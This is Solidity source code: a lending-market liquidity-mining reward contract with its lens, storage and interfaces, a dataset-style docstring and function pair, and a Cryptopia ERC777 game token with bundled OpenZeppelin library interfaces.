uint marketBorrowIndex = CTokenInterface(cToken).borrowIndex();
updateGlobalBorrowIndex(rewards[i], cToken, marketBorrowIndex);
for (uint j = 0; j < borrowers.length; j++) {
updateUserBorrowIndex(rewards[i], cToken, borrowers[j], marketBorrowIndex, distribute);
}
}
}
/**
* @notice Accrue rewards to the market by updating the supply index
* @param rewardToken The reward token
* @param cToken The market whose supply index to update
*/
function updateGlobalSupplyIndex(address rewardToken, address cToken) internal {
RewardState storage supplyState = rewardSupplyState[rewardToken][cToken];
RewardSpeed memory supplySpeed = rewardSupplySpeeds[rewardToken][cToken];
uint timestamp = getBlockTimestamp();
if (timestamp > supplyState.timestamp) {
if (supplySpeed.speed == 0 || supplySpeed.start > timestamp || supplyState.timestamp > supplySpeed.end) {
// 1. The reward speed is zero,
// 2. The reward hasn't started yet,
// 3. The supply state has handled the end of the reward,
// just update the timestamp.
supplyState.timestamp = timestamp;
} else {
// fromTimestamp is the max of the last update block timestamp and the reward start block timestamp.
uint fromTimestamp = max(supplyState.timestamp, supplySpeed.start);
// toTimestamp is the min of the current block timestamp and the reward end block timestamp.
uint toTimestamp = min(timestamp, supplySpeed.end);
// deltaTime is the time difference used for calculating the rewards.
uint deltaTime = toTimestamp - fromTimestamp;
uint rewardAccrued = deltaTime * supplySpeed.speed;
uint totalSupply = CTokenInterface(cToken).totalSupply();
uint ratio = totalSupply > 0 ? rewardAccrued * 1e18 / totalSupply : 0;
uint index = supplyState.index + ratio;
rewardSupplyState[rewardToken][cToken] = RewardState({
index: index,
timestamp: timestamp
});
}
}
}
/**
* @notice Accrue rewards to the market by updating the borrow index
* @param rewardToken The reward token
* @param cToken The market whose borrow index to update
* @param marketBorrowIndex The market borrow index
*/
function updateGlobalBorrowIndex(address rewardToken, address cToken, uint marketBorrowIndex) internal {
RewardState storage borrowState = rewardBorrowState[rewardToken][cToken];
RewardSpeed memory borrowSpeed = rewardBorrowSpeeds[rewardToken][cToken];
uint timestamp = getBlockTimestamp();
if (timestamp > borrowState.timestamp) {
if (borrowSpeed.speed == 0 || timestamp < borrowSpeed.start || borrowState.timestamp > borrowSpeed.end) {
// 1. The reward speed is zero,
// 2. The reward hasn't started yet,
// 3. The borrow state has handled the end of the reward,
// just update the timestamp.
borrowState.timestamp = timestamp;
} else {
// fromTimestamp is the max of the last update block timestamp and the reward start block timestamp.
uint fromTimestamp = max(borrowState.timestamp, borrowSpeed.start);
// toTimestamp is the min of the current block timestamp and the reward end block timestamp.
uint toTimestamp = min(timestamp, borrowSpeed.end);
// deltaTime is the time difference used for calculating the rewards.
uint deltaTime = toTimestamp - fromTimestamp;
uint rewardAccrued = deltaTime * borrowSpeed.speed;
uint totalBorrows = CTokenInterface(cToken).totalBorrows() * 1e18 / marketBorrowIndex;
uint ratio = totalBorrows > 0 ? rewardAccrued * 1e18 / totalBorrows : 0;
uint index = borrowState.index + ratio;
rewardBorrowState[rewardToken][cToken] = RewardState({
index: index,
timestamp: timestamp
});
}
}
}
/**
* @notice Calculate rewards accrued by a supplier and possibly transfer it to them
* @dev Suppliers will not begin to accrue until after the first interaction with the protocol.
* @param rewardToken The reward token
* @param cToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute rewards to
* @param distribute Distribute the reward or not
*/
function updateUserSupplyIndex(address rewardToken, address cToken, address supplier, bool distribute) internal {
RewardState memory supplyState = rewardSupplyState[rewardToken][cToken];
uint supplyIndex = supplyState.index;
uint supplierIndex = rewardSupplierIndex[rewardToken][cToken][supplier];
rewardSupplierIndex[rewardToken][cToken][supplier] = supplyIndex;
if (supplierIndex > 0) {
uint deltaIndex = supplyIndex - supplierIndex;
uint supplierTokens = CTokenInterface(cToken).balanceOf(supplier);
uint supplierDelta = supplierTokens * deltaIndex / 1e18;
uint accruedAmount = rewardAccrued[rewardToken][supplier] + supplierDelta;
if (distribute) {
rewardAccrued[rewardToken][supplier] = transferReward(rewardToken, supplier, accruedAmount);
} else {
rewardAccrued[rewardToken][supplier] = accruedAmount;
}
emit UpdateSupplierRewardIndex(rewardToken, cToken, supplier, supplierDelta, supplyIndex);
}
}
/**
* @notice Calculate rewards accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param rewardToken The reward token
* @param cToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute rewards to
* @param marketBorrowIndex The market borrow index
* @param distribute Distribute the reward or not
*/
function updateUserBorrowIndex(address rewardToken, address cToken, address borrower, uint marketBorrowIndex, bool distribute) internal {
RewardState memory borrowState = rewardBorrowState[rewardToken][cToken];
uint borrowIndex = borrowState.index;
uint borrowerIndex = rewardBorrowerIndex[rewardToken][cToken][borrower];
rewardBorrowerIndex[rewardToken][cToken][borrower] = borrowIndex;
if (borrowerIndex > 0) {
uint deltaIndex = borrowIndex - borrowerIndex;
uint borrowerAmount = CTokenInterface(cToken).borrowBalanceStored(borrower) * 1e18 / marketBorrowIndex;
uint borrowerDelta = borrowerAmount * deltaIndex / 1e18;
uint accruedAmount = rewardAccrued[rewardToken][borrower] + borrowerDelta;
if (distribute) {
rewardAccrued[rewardToken][borrower] = transferReward(rewardToken, borrower, accruedAmount);
} else {
rewardAccrued[rewardToken][borrower] = accruedAmount;
}
emit UpdateBorrowerRewardIndex(rewardToken, cToken, borrower, borrowerDelta, borrowIndex);
}
}
/**
* @notice Transfer rewards to the user
* @param rewardToken The reward token
* @param user The address of the user to transfer rewards to
* @param amount The amount of rewards to (possibly) transfer
* @return The amount of rewards which was NOT transferred to the user
*/
function transferReward(address rewardToken, address user, uint amount) internal returns (uint) {
uint remain = rewardToken == ethAddress ? address(this).balance : IERC20(rewardToken).balanceOf(address(this));
if (amount > 0 && amount <= remain && !debtors[user]) {
if (rewardToken == ethAddress) {
payable(user).transfer(amount);
} else {
IERC20(rewardToken).safeTransfer(user, amount);
}
emit TransferReward(rewardToken, user, amount);
return 0;
}
return amount;
}
/**
* @notice Set reward speeds
* @param rewardToken The reward token
* @param cTokens The addresses of cTokens
* @param speeds The list of reward speeds
* @param starts The list of start timestamps
* @param ends The list of end timestamp
* @param supply It's supply speed or borrow speed
*/
function _setRewardSpeeds(address rewardToken, address[] memory cTokens, uint[] memory speeds, uint[] memory starts, uint[] memory ends, bool supply) internal {
uint timestamp = getBlockTimestamp();
uint numMarkets = cTokens.length;
require(numMarkets != 0 && numMarkets == speeds.length && numMarkets == starts.length && numMarkets == ends.length, "invalid input");
require(rewardTokensMap[rewardToken], "reward token was not added");
for (uint i = 0; i < numMarkets; i++) {
address cToken = cTokens[i];
uint speed = speeds[i];
uint start = starts[i];
uint end = ends[i];
if (supply) {
if (isSupplyRewardStateInit(rewardToken, cToken)) {
// Update the supply index.
updateGlobalSupplyIndex(rewardToken, cToken);
} else {
// Initialize the supply index.
rewardSupplyState[rewardToken][cToken] = RewardState({
index: initialIndex,
timestamp: timestamp
});
}
validateRewardContent(rewardSupplySpeeds[rewardToken][cToken], start, end);
rewardSupplySpeeds[rewardToken][cToken] = RewardSpeed({
speed: speed,
start: start,
end: end
});
emit UpdateSupplyRewardSpeed(rewardToken, cToken, speed, start, end);
} else {
if (isBorrowRewardStateInit(rewardToken, cToken)) {
// Update the borrow index.
uint marketBorrowIndex = CTokenInterface(cToken).borrowIndex();
updateGlobalBorrowIndex(rewardToken, cToken, marketBorrowIndex);
} else {
// Initialize the borrow index.
rewardBorrowState[rewardToken][cToken] = RewardState({
index: initialIndex,
timestamp: timestamp
});
}
validateRewardContent(rewardBorrowSpeeds[rewardToken][cToken], start, end);
rewardBorrowSpeeds[rewardToken][cToken] = RewardSpeed({
speed: speed,
start: start,
end: end
});
emit UpdateBorrowRewardSpeed(rewardToken, cToken, speed, start, end);
}
}
}
/**
* @notice Internal function to tell if the supply reward state is initialized or not.
* @param rewardToken The reward token
* @param cToken The market
* @return It's initialized or not
*/
function isSupplyRewardStateInit(address rewardToken, address cToken) internal view returns (bool) {
return rewardSupplyState[rewardToken][cToken].index != 0 && rewardSupplyState[rewardToken][cToken].timestamp != 0;
}
/**
* @notice Internal function to tell if the borrow reward state is initialized or not.
* @param rewardToken The reward token
* @param cToken The market
* @return It's initialized or not
*/
function isBorrowRewardStateInit(address rewardToken, address cToken) internal view returns (bool) {
return rewardBorrowState[rewardToken][cToken].index != 0 && rewardBorrowState[rewardToken][cToken].timestamp != 0;
}
/**
* @notice Internal function to check the new start block timestamp and the end block timestamp.
* @dev This function will revert if any validation failed.
* @param currentSpeed The current reward speed
* @param newStart The new start timestamp
* @param newEnd The new end block timestamp
*/
function validateRewardContent(RewardSpeed memory currentSpeed, uint newStart, uint newEnd) internal view {
uint timestamp = getBlockTimestamp();
require(newEnd >= timestamp, "the end timestamp must be greater than the current timestamp");
require(newEnd >= newStart, "the end timestamp must be greater than the start timestamp");
if (timestamp < currentSpeed.end && timestamp > currentSpeed.start && currentSpeed.start != 0) {
require(currentSpeed.start == newStart, "cannot change the start timestamp after the reward starts");
}
}
/**
* @notice Internal function to get the min value of two.
* @param a The first value
* @param b The second value
* @return The min one
*/
function min(uint a, uint b) internal pure returns (uint) {
if (a < b) {
return a;
}
return b;
}
/**
* @notice Internal function to get the max value of two.
* @param a The first value
* @param b The second value
* @return The max one
*/
function max(uint a, uint b) internal pure returns (uint) {
if (a > b) {
return a;
}
return b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./LiquidityMining.sol";
/**
* @notice LiquidityMiningLens
* This contract is mostly used by front-end to get LM contract information.
*/
contract LiquidityMiningLens {
LiquidityMining public liquidityMining;
constructor(LiquidityMining _liquidityMining) {
liquidityMining = _liquidityMining;
}
struct RewardTokenInfo {
address rewardTokenAddress;
string rewardTokenSymbol;
uint8 rewardTokenDecimals;
}
struct RewardAvailable {
RewardTokenInfo rewardToken;
uint amount;
}
/**
* @notice Get user all available rewards.
* @dev This function is normally used by staticcall.
* @param account The user address
* @return The list of user available rewards
*/
function getRewardsAvailable(address account) public returns (RewardAvailable[] memory) {
address[] memory rewardTokens = liquidityMining.getRewardTokenList();
uint[] memory beforeBalances = new uint[](rewardTokens.length);
RewardAvailable[] memory rewardAvailables = new RewardAvailable[](rewardTokens.length);
for (uint i = 0; i < rewardTokens.length; i++) {
beforeBalances[i] = IERC20Metadata(rewardTokens[i]).balanceOf(account);
}
liquidityMining.claimAllRewards(account);
for (uint i = 0; i < rewardTokens.length; i++) {
uint newBalance = IERC20Metadata(rewardTokens[i]).balanceOf(account);
rewardAvailables[i] = RewardAvailable({
rewardToken: getRewardTokenInfo(rewardTokens[i]),
amount: newBalance - beforeBalances[i]
});
}
return rewardAvailables;
}
/**
* @notice Get reward token info.
* @param rewardToken The reward token address
* @return The reward token info
*/
function getRewardTokenInfo(address rewardToken) public view returns (RewardTokenInfo memory) {
if (rewardToken == liquidityMining.ethAddress()) {
string memory rewardTokenSymbol = "ETH";
if (block.chainid == 56) {
rewardTokenSymbol = "BNB"; // bsc
} else if (block.chainid == 137) {
rewardTokenSymbol = "MATIC"; // polygon
} else if (block.chainid == 250) {
rewardTokenSymbol = "FTM"; // fantom
}
return RewardTokenInfo({
rewardTokenAddress: liquidityMining.ethAddress(),
rewardTokenSymbol: rewardTokenSymbol,
rewardTokenDecimals: uint8(18)
});
} else {
return RewardTokenInfo({
rewardTokenAddress: rewardToken,
rewardTokenSymbol: IERC20Metadata(rewardToken).symbol(),
rewardTokenDecimals: IERC20Metadata(rewardToken).decimals()
});
}
}
struct RewardSpeed {
uint speed;
uint start;
uint end;
}
struct RewardSpeedInfo {
RewardTokenInfo rewardToken;
RewardSpeed supplySpeed;
RewardSpeed borrowSpeed;
}
struct MarketRewardSpeed {
address cToken;
RewardSpeedInfo[] rewardSpeeds;
}
/**
* @notice Get reward speed info by market.
* @param cToken The market address
* @return The market reward speed info
*/
function getMarketRewardSpeeds(address cToken) public view returns (MarketRewardSpeed memory) {
address[] memory rewardTokens = liquidityMining.getRewardTokenList();
RewardSpeedInfo[] memory rewardSpeeds = new RewardSpeedInfo[](rewardTokens.length);
for (uint i = 0; i < rewardTokens.length; i++) {
(uint supplySpeed, uint supplyStart, uint supplyEnd) = liquidityMining.rewardSupplySpeeds(rewardTokens[i], cToken);
(uint borrowSpeed, uint borrowStart, uint borrowEnd) = liquidityMining.rewardBorrowSpeeds(rewardTokens[i], cToken);
rewardSpeeds[i] = RewardSpeedInfo({
rewardToken: getRewardTokenInfo(rewardTokens[i]),
supplySpeed: RewardSpeed({
speed: supplySpeed,
start: supplyStart,
end: supplyEnd
}),
borrowSpeed: RewardSpeed({
speed: borrowSpeed,
start: borrowStart,
end: borrowEnd
})
});
}
return MarketRewardSpeed({
cToken: cToken,
rewardSpeeds: rewardSpeeds
});
}
/**
* @notice Get all market reward speed info.
* @param cTokens The market addresses
* @return The list of reward speed info
*/
function getAllMarketRewardSpeeds(address[] memory cTokens) public view returns (MarketRewardSpeed[] memory) {
MarketRewardSpeed[] memory allRewardSpeeds = new MarketRewardSpeed[](cTokens.length);
for (uint i = 0; i < cTokens.length; i++) {
allRewardSpeeds[i] = getMarketRewardSpeeds(cTokens[i]);
}
return allRewardSpeeds;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract LiquidityMiningStorage {
/// @notice The comptroller that wants to distribute rewards.
address public comptroller;
/// @notice The support reward tokens.
address[] public rewardTokens;
/// @notice The support reward tokens.
mapping(address => bool) public rewardTokensMap;
struct RewardSpeed {
uint speed;
uint start;
uint end;
}
/// @notice The reward speeds of each reward token for every supply market
mapping(address => mapping(address => RewardSpeed)) public rewardSupplySpeeds;
/// @notice The reward speeds of each reward token for every borrow market
mapping(address => mapping(address => RewardSpeed)) public rewardBorrowSpeeds;
struct RewardState {
uint index;
uint timestamp;
}
/// @notice The market reward supply state for each market
mapping(address => mapping(address => RewardState)) public rewardSupplyState;
/// @notice The market reward borrow state for each market
mapping(address => mapping(address => RewardState)) public rewardBorrowState;
/// @notice The supply index for each market for each supplier as of the last time they accrued rewards
mapping(address => mapping(address => mapping(address => uint))) public rewardSupplierIndex;
/// @notice The borrow index for each market for each borrower as of the last time they accrued rewards
mapping(address => mapping(address => mapping(address => uint))) public rewardBorrowerIndex;
/// @notice The reward accrued but not yet transferred to each user
mapping(address => mapping(address => uint)) public rewardAccrued;
/// @notice The debtors who can't claim rewards until their bad debts are repaid.
mapping(address => bool) public debtors;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CTokenInterface {
function balanceOf(address owner) external view returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function borrowIndex() external view returns (uint);
function totalSupply() external view returns (uint);
function totalBorrows() external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ComptrollerInterface {
function getAllMarkets() external view returns (address[] memory);
function markets(address) external view returns (bool, uint, uint);
function getAccountLiquidity(address) external view returns (uint, uint, uint);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @dev LiquidityMiningInterface is for comptroller
interface LiquidityMiningInterface {
function updateSupplyIndex(address cToken, address[] memory accounts) external;
function updateBorrowIndex(address cToken, address[] memory accounts) external;
}
|
* @notice Internal function to get the min value of two. @param a The first value @param b The second value @return The min one/
|
function min(uint a, uint b) internal pure returns (uint) {
if (a < b) {
return a;
}
return b;
}
| 5,855,065
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// SPDX-License-Identifier: ISC
pragma solidity ^0.8.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
/// @title Cryptopia Token
/// @notice Game currency used in Cryptoipa
/// @dev Implements the ERC777 standard
/// @author Frank Bonnet - <[email protected]>
contract CryptopiaToken is ERC777 {
/// @dev Contract Initializer
constructor() ERC777("Cryptopia Token", "CRT", new address[](0))
{
_mint(msg.sender, 10_000_000_000 * 10 ** decimals(), "", "");
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
